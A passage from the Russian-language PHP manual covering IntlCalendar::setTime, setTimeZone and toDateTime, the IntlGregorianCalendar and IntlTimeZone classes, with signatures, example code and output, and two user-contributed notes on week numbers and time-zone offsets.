IntlCalendar::WALLTIME_NEXT_VALID.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Смотрите примеры в описании функции IntlCalendar::getSkippedWallTimeOption().

Смотрите также

  • intlCalendar::getSkippedWallTimeOption() - Получает поведение для обработки пропущенного времени процессора
  • intlCalendar::setRepeatedWallTimeOption() - Устанавливает поведение для обработки повторяющегося времени процессора при отрицательных переходах смещения часового пояса
  • intlCalendar::getRepeatedWallTimeOption() - Получает поведение для обработки повторяющегося времени процессора

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает календарное время в миллисекундах с начала эпохи Unix

  • « IntlCalendar::setSkippedWallTimeOption
  • IntlCalendar::setTimeZone »
  • PHP Manual
  • IntlCalendar
  • Устанавливает календарное время в миллисекундах с начала эпохи Unix

IntlCalendar::setTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setTime — Устанавливает календарное время в миллисекундах с начала эпохи Unix

Описание

Объектно-ориентированный стиль

public IntlCalendar::setTime(float $timestamp): bool

Процедурный стиль

intlcal_set_time(IntlCalendar $calendar, float $timestamp): bool

Устанавливает момент, представленный объектом. Момент представлен числом с плавающей точкой (float), значение которого должно быть целым числом миллисекунд, прошедших с начала эпохи Unix (1 января 1970 00:00:00.000 UTC), без учёта дополнительных секунд. Все значения полей будут соответственно пересчитаны.

Список параметров

calendar

Экземпляр IntlCalendar.

timestamp

Момент, представленный количеством миллисекунд между этим моментом и эпохой Unix, без учёта дополнительных секунд.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::setTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'fr_FR');

$cal = new IntlGregorianCalendar(2013, 5 /* May */, 1, 12, 0, 0);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

/* В Europe/Lisbon 27 октября 2013 года в 02:00 часы переводятся на один час назад,
а часовой пояс - с UTC+01 на UTC+00 */

$cal->setTime(strtotime('2013-10-27 00:30:00 UTC') * 1000.);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

$cal->setTime(strtotime('2013-10-27 01:30:00 UTC') * 1000.);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

Результат выполнения данного примера:

samedi 1 juin 2013 12:00:00 heure avancee d'Europe de l'Ouest
dimanche 27 octobre 2013 01:30:00 heure avancee d'Europe de l'Ouest
dimanche 27 octobre 2013 01:30:00 heure normale d'Europe de l'Ouest

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает часовой пояс, используемый календарём

  • « IntlCalendar::setTime
  • IntlCalendar::toDateTime »
  • PHP Manual
  • IntlCalendar
  • Устанавливает часовой пояс, используемый календарём

IntlCalendar::setTimeZone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setTimeZone — Устанавливает часовой пояс, используемый календарём

Описание

Объектно-ориентированный стиль

public IntlCalendar::setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): bool

Процедурный стиль

intlcal_set_time_zone(IntlCalendar $calendar, IntlTimeZone|DateTimeZone|string|null $timezone): bool

Определяет новый часовой пояс для календаря. Время, представленное объектом, сохраняется в ущерб значениям поля.

Список параметров

calendar

Экземпляр IntlCalendar.

timezone

Новый часовой пояс, который будет использовать календарь. Его можно указать следующими способами:

  • Если null, то будет использован часовой пояс по умолчанию, заданная в ini-настройки date.timezone либо с помощью функции date_default_timezone_set() и возвращённая функцией date_default_timezone_get().

  • Объект класса IntlTimeZone.

  • Объект класса DateTimeZone. Его идентификатор будет извлечён и на его основе будет создан объект часового пояса ICU; часовой пояс будет сохранён в базе данных ICU, а не PHP.

  • Строка, являющаяся корректным идентификатором часового пояса ICU. Смотрите IntlTimeZone::createTimeZoneIDEnumeration(). "Сырые" смещения, типа "GMT+08:30", также поддерживаются.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::setTimeZone()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'es_ES');

$cal = new IntlGregorianCalendar(2013, 5 /* May */, 1, 12, 0, 0);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

$cal->setTimeZone(IntlTimeZone::getGMT());
echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

$cal->setTimeZone('GMT+03:33');
echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

Результат выполнения данного примера:

sabado, 1 de junio de 2013 12:00:00 Hora de verano de Europa occidental
(instant 1370084400000)
sabado, 1 de junio de 2013 11:00:00 GMT
(instant 1370084400000)
sabado, 1 de junio de 2013 14:33:00 GMT+03:33
(instant 1370084400000)

User Contributed Notes

There are no user contributed notes for this page.


Преобразует IntlCalendar в объект DateTime

  • « IntlCalendar::setTimeZone
  • IntlGregorianCalendar »
  • PHP Manual
  • IntlCalendar
  • Преобразует IntlCalendar в объект DateTime

IntlCalendar::toDateTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a2)

IntlCalendar::toDateTime — Преобразует IntlCalendar в объект DateTime

Описание

Объектно-ориентированный стиль

public IntlCalendar::toDateTime(): DateTime|false

Процедурный стиль

intlcal_to_date_time(IntlCalendar $calendar): DateTime|false

Создаёт объект DateTime, который представляет тот же момент (с точностью до секунды, с ошибкой округления менее 1 секунды) с аналогичным часовым поясом (разница в том, что часовой пояс DateTime поддерживается часовым поясом PHP, в то время как часовой пояс IntlCalendar поддерживается ICU).

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Объект DateTime с тем же часовым поясом, что и заданный объект (хотя с использованием базы данных PHP вместо ICU) и с тем же временем, за исключением меньшей точности (вторая точность вместо миллисекунд). Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::toDateTime()

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'pt_PT');

$cal = IntlCalendar::createInstance('Europe/Lisbon'); //current time

$dt = $cal->toDateTime();
print_r($dt);

Результат выполнения данного примера:

DateTime Object
(
    [date] => 2013-07-02 00:29:13
    [timezone_type] => 3
    [timezone] => Europe/Lisbon
)

Смотрите также

  • IntlCalendar::fromDateTime() - Создаёт IntlCalendar из объекта или строки DateTime
  • IntlCalendar::getTime() - Получает время, представленное в данный момент объектом
  • IntlCalendar::createInstance() - Создаёт новый объект IntlCalendar
  • DateTime::__construct() - Конструктор класса DateTime

User Contributed Notes

There are no user contributed notes for this page.


Класс IntlGregorianCalendar

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Обзор классов

class IntlGregorianCalendar extends IntlCalendar {
/* Наследуемые константы */
public const int IntlCalendar::FIELD_ERA;
public const int IntlCalendar::FIELD_YEAR;
public const int IntlCalendar::FIELD_MONTH;
public const int IntlCalendar::FIELD_WEEK_OF_YEAR;
public const int IntlCalendar::FIELD_WEEK_OF_MONTH;
public const int IntlCalendar::FIELD_DATE;
public const int IntlCalendar::FIELD_DAY_OF_YEAR;
public const int IntlCalendar::FIELD_DAY_OF_WEEK;
public const int IntlCalendar::FIELD_DAY_OF_WEEK_IN_MONTH;
public const int IntlCalendar::FIELD_AM_PM;
public const int IntlCalendar::FIELD_HOUR;
public const int IntlCalendar::FIELD_HOUR_OF_DAY;
public const int IntlCalendar::FIELD_MINUTE;
public const int IntlCalendar::FIELD_SECOND;
public const int IntlCalendar::FIELD_MILLISECOND;
public const int IntlCalendar::FIELD_ZONE_OFFSET;
public const int IntlCalendar::FIELD_DST_OFFSET;
public const int IntlCalendar::FIELD_YEAR_WOY;
public const int IntlCalendar::FIELD_DOW_LOCAL;
public const int IntlCalendar::FIELD_EXTENDED_YEAR;
public const int IntlCalendar::FIELD_JULIAN_DAY;
public const int IntlCalendar::FIELD_MILLISECONDS_IN_DAY;
public const int IntlCalendar::FIELD_IS_LEAP_MONTH;
public const int IntlCalendar::FIELD_FIELD_COUNT;
public const int IntlCalendar::FIELD_DAY_OF_MONTH;
public const int IntlCalendar::DOW_SUNDAY;
public const int IntlCalendar::DOW_MONDAY;
public const int IntlCalendar::DOW_TUESDAY;
public const int IntlCalendar::DOW_WEDNESDAY;
public const int IntlCalendar::DOW_THURSDAY;
public const int IntlCalendar::DOW_FRIDAY;
public const int IntlCalendar::DOW_SATURDAY;
public const int IntlCalendar::DOW_TYPE_WEEKDAY;
public const int IntlCalendar::DOW_TYPE_WEEKEND;
public const int IntlCalendar::DOW_TYPE_WEEKEND_OFFSET;
public const int IntlCalendar::DOW_TYPE_WEEKEND_CEASE;
public const int IntlCalendar::WALLTIME_FIRST;
public const int IntlCalendar::WALLTIME_LAST;
public const int IntlCalendar::WALLTIME_NEXT_VALID;
/* Методы */
public __construct(IntlTimeZone $tz = ?, string $locale = ?)
public __construct(int $timeZoneOrYear, int $localeOrMonth, int $dayOfMonth)
public __construct(
int $timeZoneOrYear,
int $localeOrMonth,
int $dayOfMonth,
int $hour,
int $minute,
int $second = ?
)
public createFromDate(int $year, int $month, int $dayOfMonth): static
public createFromDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): static
public getGregorianChange(): float
public isLeapYear(int $year): bool
public setGregorianChange(float $timestamp): bool
/* Наследуемые методы */
public IntlCalendar::add(int $field, int $value): bool
public IntlCalendar::after(IntlCalendar $other): bool
public IntlCalendar::before(IntlCalendar $other): bool
public IntlCalendar::clear(?int $field = null): true
public static IntlCalendar::createInstance(IntlTimeZone|DateTimeZone|string|null $timezone = null, ?string $locale = null): ?IntlCalendar
public IntlCalendar::equals(IntlCalendar $other): bool
public IntlCalendar::fieldDifference(float $timestamp, int $field): int|false
public static IntlCalendar::fromDateTime(DateTime|string $datetime, ?string $locale = null): ?IntlCalendar
public IntlCalendar::get(int $field): int|false
public IntlCalendar::getActualMaximum(int $field): int|false
public IntlCalendar::getActualMinimum(int $field): int|false
public static IntlCalendar::getAvailableLocales(): array
public IntlCalendar::getDayOfWeekType(int $dayOfWeek): int|false
public IntlCalendar::getErrorCode(): int|false
public IntlCalendar::getErrorMessage(): string|false
public IntlCalendar::getFirstDayOfWeek(): int|false
public IntlCalendar::getGreatestMinimum(int $field): int|false
public static IntlCalendar::getKeywordValuesForLocale(string $keyword, string $locale, bool $onlyCommon): IntlIterator|false
public IntlCalendar::getLeastMaximum(int $field): int|false
public IntlCalendar::getLocale(int $type): string|false
public IntlCalendar::getMaximum(int $field): int|false
public IntlCalendar::getMinimalDaysInFirstWeek(): int|false
public IntlCalendar::getMinimum(int $field): int|false
public static IntlCalendar::getNow(): float
public IntlCalendar::getRepeatedWallTimeOption(): int
public IntlCalendar::getSkippedWallTimeOption(): int
public IntlCalendar::getTime(): float|false
public IntlCalendar::getTimeZone(): IntlTimeZone|false
public IntlCalendar::getType(): string
public IntlCalendar::getWeekendTransition(int $dayOfWeek): int|false
public IntlCalendar::inDaylightTime(): bool
public IntlCalendar::isEquivalentTo(IntlCalendar $other): bool
public IntlCalendar::isLenient(): bool
public IntlCalendar::isSet(int $field): bool
public IntlCalendar::isWeekend(?float $timestamp = null): bool
public IntlCalendar::roll(int $field, int|bool $value): bool
public IntlCalendar::set(int $field, int $value): true
public IntlCalendar::set(
int $year,
int $month,
int $dayOfMonth = NULL,
int $hour = NULL,
int $minute = NULL,
int $second = NULL
): true
public IntlCalendar::setDate(int $year, int $month, int $dayOfMonth): void
public IntlCalendar::setDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): void
public IntlCalendar::setFirstDayOfWeek(int $dayOfWeek): true
public IntlCalendar::setLenient(bool $lenient): true
public IntlCalendar::setMinimalDaysInFirstWeek(int $days): true
public IntlCalendar::setRepeatedWallTimeOption(int $option): true
public IntlCalendar::setSkippedWallTimeOption(int $option): true
public IntlCalendar::setTime(float $timestamp): bool
public IntlCalendar::setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): bool
public IntlCalendar::toDateTime(): DateTime|false
}

Содержание

  • IntlGregorianCalendar::__construct — Конструктор класса григорианского календаря
  • IntlGregorianCalendar::createFromDate — Create a new IntlGregorianCalendar instance from date
  • IntlGregorianCalendar::createFromDateTime — Create a new IntlGregorianCalendar instance from date and time
  • IntlGregorianCalendar::getGregorianChange — Получает дату изменения григорианского календаря
  • IntlGregorianCalendar::isLeapYear — Определяет, является ли данный год високосным
  • IntlGregorianCalendar::setGregorianChange — Устанавливает дату изменения в григорианском календаре

User Contributed Notes

Julian Sawicki 22-Oct-2020 12:29
I was using `IntlGregorianCalendar` because it offered a nice way to get the week number of the year as an integer. This differs from `DateTime`; `DateTime` gives you the week number of the year as an string.

<?php

$dateTime = new DateTime('21-09-2020 09:00:00');
echo $dateTime->format("W"); // string '39'

$intlCalendar = IntlCalendar::fromDateTime ('21-09-2020 09:00:00');
echo $intlCalendar->get(IntlCalendar::FIELD_WEEK_OF_YEAR); // integer 39


Конструктор класса григорианского календаря

  • « IntlGregorianCalendar
  • IntlGregorianCalendar::createFromDate »
  • PHP Manual
  • IntlGregorianCalendar
  • Конструктор класса григорианского календаря

IntlGregorianCalendar::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlGregorianCalendar::__construct — Конструктор класса григорианского календаря

Описание

public IntlGregorianCalendar::__construct(IntlTimeZone $tz = ?, string $locale = ?)
public IntlGregorianCalendar::__construct(int $timeZoneOrYear, int $localeOrMonth, int $dayOfMonth)
public IntlGregorianCalendar::__construct(
int $timeZoneOrYear,
int $localeOrMonth,
int $dayOfMonth,
int $hour,
int $minute,
int $second = ?
)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

tz

locale

timeZoneOrYear

localeOrMonth

dayOfMonth

hour

minute

second

User Contributed Notes

There are no user contributed notes for this page.


Create a new IntlGregorianCalendar instance from date

  • « IntlGregorianCalendar::__construct
  • IntlGregorianCalendar::createFromDateTime »
  • PHP Manual
  • IntlGregorianCalendar
  • Create a new IntlGregorianCalendar instance from date

IntlGregorianCalendar::createFromDate

(PHP 8 >= 8.3.0)

IntlGregorianCalendar::createFromDate — Create a new IntlGregorianCalendar instance from date

Описание

public IntlGregorianCalendar::createFromDate(int $year, int $month, int $dayOfMonth): static

Creates a new IntlGregorianCalendar instance from date.

Список параметров

year

The new value for IntlGregorianCalendar::FIELD_YEAR.

month

The new value for IntlGregorianCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlGregorianCalendar::FIELD_DAY_OF_MONTH.

Возвращаемые значения

Returns a new IntlGregorianCalendar instance.

Примеры

Пример #1 IntlGregorianCalendar::createFromDate() example

<?php

$intlCalendar = IntlGregorianCalendar::createFromDate(2023, 11, 23);
var_dump($intlCalendar);
?>

Результатом выполнения данного примера будет что-то подобное:

object(IntlGregorianCalendar)#1 (5) {
  ["valid"]=>
  bool(true)
  ["type"]=>
  string(9) "gregorian"
  ["timeZone"]=>
  array(4) {
    ["valid"]=>
    bool(true)
    ["id"]=>
    string(16) "Europe/Amsterdam"
    ["rawOffset"]=>
    int(3600000)
    ["currentOffset"]=>
    int(3600000)
  }
  ["locale"]=>
  string(11) "en_US_POSIX"
  ["fields"]=>
  array(23) {
    ["era"]=>
    int(1)
    ["year"]=>
    int(2023)
    ["month"]=>
    int(11)
    ["week of year"]=>
    int(51)
    ["week of month"]=>
    int(4)
    ["day of year"]=>
    int(357)
    ["day of month"]=>
    int(23)
    ["day of week"]=>
    int(7)
    ["day of week in month"]=>
    int(4)
    ["AM/PM"]=>
    int(0)
    ["hour"]=>
    int(0)
    ["hour of day"]=>
    int(0)
    ["minute"]=>
    int(0)
    ["second"]=>
    int(0)
    ["millisecond"]=>
    int(0)
    ["zone offset"]=>
    int(3600000)
    ["DST offset"]=>
    int(0)
    ["year for week of year"]=>
    int(2023)
    ["localized day of week"]=>
    int(7)
    ["extended year"]=>
    int(2023)
    ["julian day"]=>
    int(2460302)
    ["milliseconds in day"]=>
    int(0)
    ["is leap month"]=>
    int(0)
  }
}

Смотрите также

  • IntlGregorianCalendar::createFromDateTime() - Create a new IntlGregorianCalendar instance from date and time

User Contributed Notes

There are no user contributed notes for this page.


Create a new IntlGregorianCalendar instance from date and time

  • « IntlGregorianCalendar::createFromDate
  • IntlGregorianCalendar::getGregorianChange »
  • PHP Manual
  • IntlGregorianCalendar
  • Create a new IntlGregorianCalendar instance from date and time

IntlGregorianCalendar::createFromDateTime

(PHP 8 >= 8.3.0)

IntlGregorianCalendar::createFromDateTime — Create a new IntlGregorianCalendar instance from date and time

Описание

public IntlGregorianCalendar::createFromDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): static

Creates a new IntlGregorianCalendar instance from date and time.

Список параметров

year

The new value for IntlGregorianCalendar::FIELD_YEAR.

month

The new value for IntlGregorianCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlGregorianCalendar::FIELD_DAY_OF_MONTH.

hour

The new value for IntlGregorianCalendar::FIELD_HOUR_OF_DAY.

minute

The new value for IntlGregorianCalendar::FIELD_MINUTE.

second

The new value for IntlGregorianCalendar::FIELD_SECOND.

Возвращаемые значения

Returns a new IntlGregorianCalendar instance.

Примеры

Пример #1 IntlCalendar::setDateTime() example

<?php

$intlCalendar = IntlGregorianCalendar::createFromDateTime(2023, 11, 23, 12, 00);
var_dump($intlCalendar);
?>

Результатом выполнения данного примера будет что-то подобное:

object(IntlGregorianCalendar)#1 (5) {
  ["valid"]=>
  bool(true)
  ["type"]=>
  string(9) "gregorian"
  ["timeZone"]=>
  array(4) {
    ["valid"]=>
    bool(true)
    ["id"]=>
    string(16) "Europe/Amsterdam"
    ["rawOffset"]=>
    int(3600000)
    ["currentOffset"]=>
    int(3600000)
  }
  ["locale"]=>
  string(11) "en_US_POSIX"
  ["fields"]=>
  array(23) {
    ["era"]=>
    int(1)
    ["year"]=>
    int(2023)
    ["month"]=>
    int(11)
    ["week of year"]=>
    int(51)
    ["week of month"]=>
    int(4)
    ["day of year"]=>
    int(357)
    ["day of month"]=>
    int(23)
    ["day of week"]=>
    int(7)
    ["day of week in month"]=>
    int(4)
    ["AM/PM"]=>
    int(1)
    ["hour"]=>
    int(0)
    ["hour of day"]=>
    int(12)
    ["minute"]=>
    int(0)
    ["second"]=>
    int(0)
    ["millisecond"]=>
    int(0)
    ["zone offset"]=>
    int(3600000)
    ["DST offset"]=>
    int(0)
    ["year for week of year"]=>
    int(2023)
    ["localized day of week"]=>
    int(7)
    ["extended year"]=>
    int(2023)
    ["julian day"]=>
    int(2460302)
    ["milliseconds in day"]=>
    int(43200000)
    ["is leap month"]=>
    int(0)
  }
}

Смотрите также

  • IntlGregorianCalendar::createFromDate() - Create a new IntlGregorianCalendar instance from date

User Contributed Notes

There are no user contributed notes for this page.


Получает дату изменения григорианского календаря

  • « IntlGregorianCalendar::createFromDateTime
  • IntlGregorianCalendar::isLeapYear »
  • PHP Manual
  • IntlGregorianCalendar
  • Получает дату изменения григорианского календаря

IntlGregorianCalendar::getGregorianChange

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlGregorianCalendar::getGregorianChange — Получает дату изменения григорианского календаря

Описание

public IntlGregorianCalendar::getGregorianChange(): float

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает дату изменения.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли данный год високосным

  • « IntlGregorianCalendar::getGregorianChange
  • IntlGregorianCalendar::setGregorianChange »
  • PHP Manual
  • IntlGregorianCalendar
  • Определяет, является ли данный год високосным

IntlGregorianCalendar::isLeapYear

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlGregorianCalendar::isLeapYear — Определяет, является ли данный год високосным

Описание

public IntlGregorianCalendar::isLeapYear(int $year): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

year

Возвращаемые значения

Возвращает true в случае, если год является високосным, false, если не является или в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает дату изменения в григорианском календаре

  • « IntlGregorianCalendar::isLeapYear
  • IntlTimeZone »
  • PHP Manual
  • IntlGregorianCalendar
  • Устанавливает дату изменения в григорианском календаре

IntlGregorianCalendar::setGregorianChange

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlGregorianCalendar::setGregorianChange — Устанавливает дату изменения в григорианском календаре

Описание

public IntlGregorianCalendar::setGregorianChange(float $timestamp): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timestamp

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс IntlTimeZone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

Введение

Обзор классов

class IntlTimeZone {
/* Константы */
public const int DISPLAY_SHORT;
public const int DISPLAY_LONG;
public const int DISPLAY_SHORT_GENERIC;
public const int DISPLAY_LONG_GENERIC;
public const int DISPLAY_SHORT_GMT;
public const int DISPLAY_LONG_GMT;
public const int DISPLAY_SHORT_COMMONLY_USED;
public const int DISPLAY_GENERIC_LOCATION;
public const int TYPE_ANY;
public const int TYPE_CANONICAL;
public const int TYPE_CANONICAL_LOCATION;
/* Методы */
private __construct()
public static countEquivalentIDs(string $timezoneId): int|false
public static createDefault(): IntlTimeZone
public static createEnumeration(IntlTimeZone|string|int|float|null $countryOrRawOffset = null): IntlIterator|false
public static createTimeZone(string $timezoneId): ?IntlTimeZone
public static createTimeZoneIDEnumeration(int $type, ?string $region = null, ?int $rawOffset = null): IntlIterator|false
public static fromDateTimeZone(DateTimeZone $timezone): ?IntlTimeZone
public static getCanonicalID(string $timezoneId, bool &$isSystemId = null): string|false
public getDisplayName(bool $dst = false, int $style = IntlTimeZone::DISPLAY_LONG, ?string $locale = null): string|false
public getDSTSavings(): int
public static getEquivalentID(string $timezoneId, int $offset): string|false
public getErrorCode(): int|false
public getErrorMessage(): string|false
public static getGMT(): IntlTimeZone
public getID(): string|false
public static getIDForWindowsID(string $timezoneId, ?string $region = null): string|false
public getOffset(
float $timestamp,
bool $local,
int &$rawOffset,
int &$dstOffset
): bool
public getRawOffset(): int
public static getRegion(string $timezoneId): string|false
public static getTZDataVersion(): string|false
public static getUnknown(): IntlTimeZone
public static getWindowsID(string $timezoneId): string|false
public hasSameRules(IntlTimeZone $other): bool
public toDateTimeZone(): DateTimeZone|false
public useDaylightTime(): bool
}

Предопределённые константы

IntlTimeZone::DISPLAY_SHORT

IntlTimeZone::DISPLAY_LONG

IntlTimeZone::DISPLAY_SHORT_GENERIC

IntlTimeZone::DISPLAY_LONG_GENERIC

IntlTimeZone::DISPLAY_SHORT_GMT

IntlTimeZone::DISPLAY_LONG_GMT

IntlTimeZone::DISPLAY_SHORT_COMMONLY_USED

IntlTimeZone::DISPLAY_GENERIC_LOCATION

IntlTimeZone::TYPE_ANY

IntlTimeZone::TYPE_CANONICAL

IntlTimeZone::TYPE_CANONICAL_LOCATION

Содержание

  • IntlTimeZone::__construct — Конструктор класса, запрещающий прямое создание экземпляра
  • IntlTimeZone::countEquivalentIDs — Получить количество идентификаторов в группе похожих часовых поясов, включая данный идентификатор
  • IntlTimeZone::createDefault — Создать новую копию часового пояса по умолчанию для текущего хоста
  • IntlTimeZone::createEnumeration — Получить перечисление из идентификаторов часовых поясов по указанной стране или смещению
  • IntlTimeZone::createTimeZone — Создать объект часового пояса по заданному идентификатору
  • IntlTimeZone::createTimeZoneIDEnumeration — Получить перечисление из идентификаторов системных часовых поясов по заданным условиям фильтрации
  • IntlTimeZone::fromDateTimeZone — Создать объект часового пояса из DateTimeZone
  • IntlTimeZone::getCanonicalID — Получить канонический системный идентификатор часового пояса или нормализованный пользовательский идентификатор часового пояса по заданному идентификатору часового пояса
  • IntlTimeZone::getDisplayName — Получить имя часового пояса для отображения пользователю
  • IntlTimeZone::getDSTSavings — Получить количество миллисекунд, которое нужно добавить к местному поясному времени, чтобы получить летнее время
  • IntlTimeZone::getEquivalentID — Получить идентификатор в группе похожих часовых поясов, включая заданный идентификатор
  • IntlTimeZone::getErrorCode — Получить последний код об ошибке в объекте
  • IntlTimeZone::getErrorMessage — Получить последнее сообщение об ошибке в объекте
  • IntlTimeZone::getGMT — Создать часовой пояс по GMT (UTC)
  • IntlTimeZone::getID — Получить идентификатор часового пояса
  • IntlTimeZone::getIDForWindowsID — Преобразовать часовой пояс для Windows в системный часовой пояс
  • IntlTimeZone::getOffset — Получить необработанное значение часового пояса и смещение по Гринвичу (GMT) по заданному моменту времени
  • IntlTimeZone::getRawOffset — Получить необработанное значение смещения по Гринвичу (GMT) без учёта летнего времени
  • IntlTimeZone::getRegion — Получить код региона, соответствующего заданному идентификатору системного часового пояса
  • IntlTimeZone::getTZDataVersion — Получить версию данных о часовом поясе, который в данный момент используется в ICU
  • IntlTimeZone::getUnknown — Получить неизвестный часовой пояс («unknown»)
  • IntlTimeZone::getWindowsID — Преобразовать системный часовой пояс в часовой пояс для Windows
  • IntlTimeZone::hasSameRules — Проверить, что в другом часовом поясе используются те же самые правила и смещения, что и в первом заданном
  • IntlTimeZone::toDateTimeZone — Преобразовать в объект DateTimeZone
  • IntlTimeZone::useDaylightTime — Проверить, что в данном часовом поясе используется летнее время

User Contributed Notes

Anonymous 13-Jul-2018 08:40
Currently there is no documentation available for IntlTimeZone::parse(), so it took some while to figure out a working example:

<?php
// Example for 32-bit PHP 7.0.30 with Intl version 1.1, ICU version 56.1
// To get the offset of a date including daylight saving time, getRawOffset() is
// not sufficient, getOffset() is needed. And a date is needed to take history
// in to account.

\Locale::setDefault('nl-NL');
$date = '25-03-2018 12:34:56.123456 CEST';  // 3rd of Februari
$timezone = \IntlTimeZone::createDefault();  // = CEST = GMT +02:00
print 'Time zone: ' . $timezone->getDisplayName() . PHP_EOL;
print 'DST: ' . ($timezone->useDaylightTime() ? 'DOES' : 'DOES NOT')
  . ' happen to this timezone' . PHP_EOL;
print 'Possible DST difference (usec): ' . $timezone->getDSTSavings() . PHP_EOL;

$formatter = new \IntlDateFormatter(
  \Locale::getDefault(),
  \IntlDateFormatter::MEDIUM,
  \IntlDateFormatter::MEDIUM,
  $timezone
);
$timestamp = $formatter->parse($date);
if (FALSE === $timestamp) {
  throw new \Exception('Can not parse date');
}
elseif (is_float($timestamp)) {
  throw new \Exception('Y2K38 bug @ 32 bit, please use 64 bit');
}
print 'Date parsed by IntlFormatter::parse(): ' . date('c', $timestamp)
  . PHP_EOL;

$cal = \IntlCalendar::createInstance();
$cal->setTimeZone($timezone);
$cal->setLenient(FALSE);
// set UNIX timestamp offset (1970-01-01 00:00:00.000000) and add the timestamp
$cal->set(1970, 0, 1, 0, 0, 0);
$cal->set(\IntlCalendar::FIELD_MILLISECOND, 0); // note: msec, not usec
$cal->add(\IntlCalendar::FIELD_SECOND, $timestamp); // note: no milliseconds
$cal->add(\IntlCalendar::FIELD_MILLISECOND, 124);  // hardcode for simplicity

header('Content-type: text/plain');
print 'Date constructed with IntlCalendar: ' . $formatter->format($cal)
  . PHP_EOL;
print 'Raw offset by getRawOffset(): ' . $timezone->getRawOffset() . PHP_EOL;

/**
 * Function IntlTimeZone::getOffset()
 * @link http://icu-project.org/apiref/icu4c/classicu_1_1TimeZone.html#afcbc1c48bf0b453b0123c4cb75d20e96
 * @param float $date
 *   moment in time for which to return offsets, in units of milliseconds from
 *   January 1, 1970 0:00 GMT, either GMT time or local wall time, depending on
 *   `local'.
 * @param bool $local
 *   if true, `date' is local wall time; otherwise it is in GMT time.
 * @param int &$rawOffset
 *   output parameter to receive the raw offset, that is, the offset not
 *   including DST adjustments
 * @param int &$dstOffset
 *   output parameter to receive the DST offset, that is, the offset to be added
 *   to `rawOffset' to obtain the total offset between local and GMT time. If
 *   DST is not in effect, this value is zero; otherwise it is a positive value,
 *   typically one hour.
 */

$rawOffset = NULL;
$dstOffset = NULL;
$timestamp *= 1000.0; // convert unix timestamp from secs to msecs
$timezone->getOffset($timestamp, $local = FALSE, $rawOffset, $dstOffset);
print 'Output of getOffset():' . PHP_EOL . json_encode([
  'rawOffset' => $rawOffset,
  'dstOffset' => $dstOffset
], JSON_PRETTY_PRINT) . PHP_EOL;
?>


Конструктор класса, запрещающий прямое создание экземпляра

  • « IntlTimeZone
  • IntlTimeZone::countEquivalentIDs »
  • PHP Manual
  • IntlTimeZone
  • Конструктор класса, запрещающий прямое создание экземпляра

IntlTimeZone::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::__construct — Конструктор класса, запрещающий прямое создание экземпляра

Описание

private IntlTimeZone::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Получить количество идентификаторов в группе похожих часовых поясов, включая данный идентификатор

  • « IntlTimeZone::__construct
  • IntlTimeZone::createDefault »
  • PHP Manual
  • IntlTimeZone
  • Получить количество идентификаторов в группе похожих часовых поясов, включая данный идентификатор

IntlTimeZone::countEquivalentIDs

intltz_count_equivalent_ids

